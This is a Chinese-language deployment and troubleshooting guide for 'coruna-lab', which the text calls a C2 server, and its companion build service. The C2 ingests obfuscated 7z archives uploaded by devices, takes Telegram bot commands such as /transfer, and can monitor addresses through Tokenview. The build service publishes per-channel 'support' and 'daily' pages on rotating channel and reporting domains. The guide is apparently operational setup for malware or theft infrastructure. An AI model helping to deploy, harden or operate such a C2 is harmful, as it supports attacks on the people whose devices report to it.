Swallow create_log mkdir/write errors so missing public/log ownership cannot take down requests, and document the www:www permission fix. Co-authored-by: Cursor <cursoragent@cursor.com>
15 KiB
宝塔部署指南(coruna-lab + coruna-lab-web)
同机部署、职责分离。构建 API 仅本机访问;Admin / C2 与静态产物站对外。
兄弟项目构建细节另见 [../../coruna-lab-web/docs/BUILD_API.md](../../coruna-lab-web/docs/BUILD_API.md)。
架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
|---|---|---|---|
| C2 / Admin | coruna-lab |
https://admin.example.com |
Nginx + PHP-FPM |
| 静态产物站 | coruna-lab-web/artifacts |
https://static.example.com |
Nginx 只读静态 |
| Build API | coruna-lab-web |
仅本机 127.0.0.1:8081 |
Supervisor / 进程守护 |
设备 / 运营
│
├─ Admin / C2 API ──► coruna-lab (Laravel)
│ │
│ └─ HTTP Bearer ──► 127.0.0.1:8081 (build_api)
│ │
│ ▼
└─ /channel/<id>/web|sync ──► static 站点 ──► artifacts/
建议目录:
/www/wwwroot/coruna-lab/
/www/wwwroot/coruna-lab-web/
防火墙只放行 80/443;不要把 8081 暴露到公网。
0. 服务器准备
软件商店安装:
- Nginx
- MySQL 8.0
- PHP 8.2+(站点选用;宝塔可多版本并存,按站点切换)
- Python 3.10+(系统或面板)
- Composer(建议 ≥ 2.2,见下文排错)
PHP 扩展:pdo_mysql、mbstring、openssl、tokenizer、xml、ctype、json、fileinfo、curl、zip、gmp
系统包:p7zip-full(或等价)、git
PHP 多版本
宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。
CLI 请显式使用对应二进制,例如:
/www/server/php/82/bin/php -v
/www/server/php/82/bin/php artisan migrate
扩展、禁用函数、php.ini 必须在该站点所用版本里配置。
PHP 运行参数(FPM / 网站)
路径:软件商店 → PHP 8.2 → 设置 → 配置修改(php.ini)
建议:
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 600
max_input_time = 600
post_max_size≥upload_max_filesize- Admin 触发构建会同步等待 lab-web,超时与
.env中CORUNA_BUILD_SERVICE_TIMEOUT对齐(建议 ≥ 600) - CLI 查
max_execution_time常为0(不限制),属正常;以浏览器/phpinfo()的 FPM 值为准
Nginx 站点配置建议同时加大:
client_max_body_size 64m;
禁用函数:Composer / Laravel 需要 putenv;C2 解包可能需要 proc_open / exec。从 PHP「禁用函数」中移除 putenv(按需放行 proc_open)。
1. 部署 coruna-lab-web(先部署)
1.1 代码与依赖
cd /www/wwwroot/coruna-lab-web
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
pip install -r frontend/tools/requirements.txt
mkdir -p artifacts
chown -R www:www artifacts # 按面板运行用户调整
1.2 .env
cp .env.example .env
python3 -c 'import secrets; print(secrets.token_urlsafe(48))' # 生成 token
示例:
BUILD_API_TOKEN=用长随机串替换
BUILD_API_ARTIFACT_ROOT=/www/wwwroot/coruna-lab-web/artifacts
BUILD_API_PROJECT_SCRIPT=/www/wwwroot/coruna-lab-web/frontend/tools/new_project.py
BUILD_API_PYTHON=/www/wwwroot/coruna-lab-web/.venv/bin/python
BUILD_API_HOST=127.0.0.1
BUILD_API_PORT=8081
BUILD_API_TIMEOUT=900
1.3 进程守护
宝塔 → Supervisor / 进程守护管理器:
| 项 | 值 |
|---|---|
| 名称 | coruna-build-api |
| 启动用户 | www |
| 运行目录 | /www/wwwroot/coruna-lab-web |
| 启动命令 | /www/wwwroot/coruna-lab-web/.venv/bin/python -m build_api |
验证:
curl -s http://127.0.0.1:8081/health
1.4 静态站(只暴露 web / sync)
新建站点(如 static.example.com):
- 根目录:
/www/wwwroot/coruna-lab-web/artifacts - 关闭 PHP
- SSL 按需开启
配置示例(正则含 {32} 时必须加引号,否则 Nginx 会把 { 当配置块):
server {
listen 80;
listen 443 ssl http2;
server_name static.example.com;
root /www/wwwroot/coruna-lab-web/artifacts;
location ~ "^/channel/[0-9a-f]{32}/(web|sync)/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
location / {
return 404;
}
}
改完:
nginx -t && nginx -s reload
公开 URL:
https://static.example.com/channel/<id>/web/support.html
https://static.example.com/channel/<id>/sync/daily.html
staging/、locks/、manifest.json、out/ 等不得对外。
2. 部署 coruna-lab
2.1 站点
新建站点(如 admin.example.com):
- 根目录:
/www/wwwroot/coruna-lab/public(必须是public) - PHP:8.2+
- 伪静态:Laravel
location / {
try_files $uri $uri/ /index.php?$query_string;
}
2.2 Composer
需要 Composer ≥ 2.2(Laravel 12 要求 composer-runtime-api ^2.2)以及 ext-gmp。
# 若 /usr/bin/composer 过旧,安装新版本:
curl -sS https://getcomposer.org/installer \
| /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer
/www/server/php/82/bin/php /usr/local/bin/composer -V
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader
常见错误见文末「排错」。
2.3 环境与数据库
cp .env.example .env
# 编辑 .env(见下节)
/www/server/php/82/bin/php artisan key:generate
chown -R www:www storage bootstrap/cache
chmod -R ug+rwx storage bootstrap/cache
# 宝塔创建 MySQL 库/用户后:
/www/server/php/82/bin/php artisan migrate --seed
默认后台:/admin/login(账号见 ADMIN_*,上线务必修改)。
2.4 .env 要点
APP_ENV=production
APP_DEBUG=false
APP_URL=https://admin.example.com
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=coruna
DB_USERNAME=...
DB_PASSWORD=...
ADMIN_USERNAME=admin
ADMIN_PASSWORD=改成强密码
# Session(HTTPS 单域名后台;DOMAIN 保持 null)
SESSION_DRIVER=file
SESSION_LIFETIME=120
SESSION_ENCRYPT=false
SESSION_PATH=/
SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 同机 Build API(token 与 lab-web BUILD_API_TOKEN 一致)
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
CORUNA_BUILD_SERVICE_TOKEN=与 BUILD_API_TOKEN 相同
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
CORUNA_BUILD_SERVICE_TIMEOUT=600
CORUNA_STATIC_SITE_BASE_URL=https://static.example.com
CORUNA_STATIC_SITE_SCHEME=https
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
CORUNA_REPORTING_DOMAINS=www.rep1.example,www.rep2.example
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# 可选;设置后注册 webhook 时会带 secret_token
TELEGRAM_WEBHOOK_SECRET=
# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example)
改 .env 后(登录 / Session 依赖这一步):
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
# 生产可再:
# /www/server/php/82/bin/php artisan config:cache
# /www/server/php/82/bin/php artisan route:cache
# /www/server/php/82/bin/php artisan view:cache
浏览器登录前建议清掉该站 cookie。storage/framework/sessions 必须对 PHP-FPM 用户(宝塔多为 www)可写,否则后台 POST 登录易出现 419。
2.5 p7zip(C2 入库)
CORUNA_7Z_BIN 仍需要:设备 multipart 上报的混淆 7z 由 Laravel CorunaArchive 解压,与渠道构建拆到 lab-web 无关。
Debian / Ubuntu(宝塔常见):
若 apt update 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用:
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
apt install -y p7zip-full
command -v 7z
拷到项目(规避 open_basedir):
cd /www/wwwroot/coruna-lab
mkdir -p bin
cp "$(command -v 7z)" bin/7z
chmod +x bin/7z
command -v 7z 为空说明未装成功或 PATH 无 7z;用 find /usr -name '7z' 2>/dev/null 定位后再 cp。
2.6 Telegram Webhook(上线必做)
Bot 入站指令(如 /transfer)依赖公网 HTTPS webhook,默认路径:
https://<APP_URL>/hooks/telegram
.env填好TELEGRAM_BOT_TOKEN、TELEGRAM_OWNER_CHAT_ID;建议设置TELEGRAM_WEBHOOK_SECRET(随机长串)APP_URL必须是对外可访问的https://admin.example.com(无尾斜杠亦可,命令会拼接路径)- 确保站点已上 SSL,Telegram 能访问该 URL
- 注册 webhook:
cd /www/wwwroot/coruna-lab
# 使用 APP_URL + /hooks/telegram
/www/server/php/82/bin/php artisan telegram:set-webhook
# 或显式指定:
/www/server/php/82/bin/php artisan telegram:set-webhook \
'https://admin.example.com/hooks/telegram'
成功输出 OK。若配置了 TELEGRAM_WEBHOOK_SECRET,命令会一并传给 Telegram secret_token;控制器按该 secret 校验。
更换域名或 token 后需重新执行本命令。
Bot 指令无响应 / getWebhookInfo 报 500
- 看 Laravel 日志是否出现
telegram webhook hit/telegram webhook failed:
tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log
- 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到
laravel.log):
ls -la /www/wwwroot/coruna-lab/storage/logs/
# 宝塔常见:
tail -n 80 /www/wwwlogs/yxouw.cc.error.log
tail -n 80 /www/server/php/82/var/log/php-fpm.log
getWebhookInfo中pending_update_count > 0且last_error_message含 500:部署含「webhook 始终 ACK」的修复后,重新:
/www/server/php/82/bin/php artisan telegram:set-webhook
- 群无回复但日志有
AuthorizedChat: chat rejected:把TELEGRAM_OWNER_CHAT_ID(或后台设置)改成日志里的真实chat_id(超群多为-100...),再config:clear。
可选(地址监控):若启用 Tokenview,可另执行:
/www/server/php/82/bin/php artisan tokenview:set-webhook
# 默认 → https://<APP_URL>/hooks/tokenview
3. 联调检查清单
curl -s http://127.0.0.1:8081/health正常- Admin 登录
https://admin.example.com/admin/login - 后台新建渠道 → 构建成功(lab-web 进程日志无报错)
- 打开静态站 support / daily 页
manifest.json、/staging/等返回 404- C2 上报与 7z 入库正常
telegram:set-webhook成功;Bot 能收到指令
4. 日常运维
| 动作 | 命令 / 操作 |
|---|---|
| 更新 lab-web | 拉代码 → pip install -r ... → 重启 Supervisor 进程 |
| 更新 lab | 拉代码 → composer install → artisan migrate → config:cache 等 |
| 备份 | MySQL + artifacts/ |
| 构建超时 | 同时加大 BUILD_API_TIMEOUT 与 CORUNA_BUILD_SERVICE_TIMEOUT |
当前 QUEUE_CONNECTION=sync,一般无需单独 queue worker。
5. 排错摘要
mkdir(): Permission denied at Helpers.php / public/log
C2 中间件会写 public/log/c2/Ymd.log。站点运行用户(宝塔多为 www)对 public/log 无写权限时会报错。
cd /www/wwwroot/coruna-lab
mkdir -p public/log/c2
chown -R www:www public/log storage bootstrap/cache
chmod -R ug+rwx public/log storage bootstrap/cache
同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。
Composer:putenv() undefined
PHP「禁用函数」含 putenv。在 PHP 8.2 设置里移除后重试。
Composer:composer-runtime-api 2.0.0 不满足 ^2.2
/usr/bin/composer 过旧。用 getcomposer.org 安装到 /usr/local/bin/composer(≥ 2.2),并用 PHP 8.2 调用。
不要用 composer update「修」这个问题——lock 本身通常没问题。
Composer:缺少 ext-gmp
软件商店 → PHP 8.2 → 安装扩展 gmp,确认:
/www/server/php/82/bin/php -m | grep -i gmp
Nginx:unknown directive "32}/(web|sync)/"
location 正则未加引号,{32} 被当成配置块。改为:
location ~ "^/channel/[0-9a-f]{32}/(web|sync)/" {
apt 因 gitlab-ce 源 404 失败
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
cp "$(command -v 7z)" 报 cannot stat ''
未安装 7z 或不在 PATH。先装 p7zip-full 再拷贝。
CLI max_execution_time => 0
CLI 默认不限制;改网站用的 FPM php.ini 并以 phpinfo() 验证。
后台登录 HTTP 444
444 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 /admin 放行后再试。
后台登录方式(改造后)
- 登录页为 Layui AJAX JSON 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
- 失败限流:同一账号+IP 约 5 次 / 60 秒
- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定
- 部署后需执行迁移:
php artisan migrate(admins 增加 status / google_* / last_ip)
后台登录 HTTP 419(Page Expired)
请求已进 Laravel,多为 CSRF / Session。确认:
APP_URL为对外https://...,并设置SESSION_SECURE_COOKIE=true、SESSION_DOMAIN=null- 执行:
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
- 浏览器清除该站 cookie 后重试
裸 curl POST /admin/login 且不带 _token / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。
6. 分机部署(可选)
lab 与 lab-web 不同机时:
- lab-web 内网 Nginx 反代
127.0.0.1:8081,仅放行 lab 机器 IP - Laravel:
CORUNA_BUILD_SERVICE_URL=https://builds.internal.example - 静态站仍指向 lab-web 的
artifacts
同机部署时不必单独建公网 builds 站点。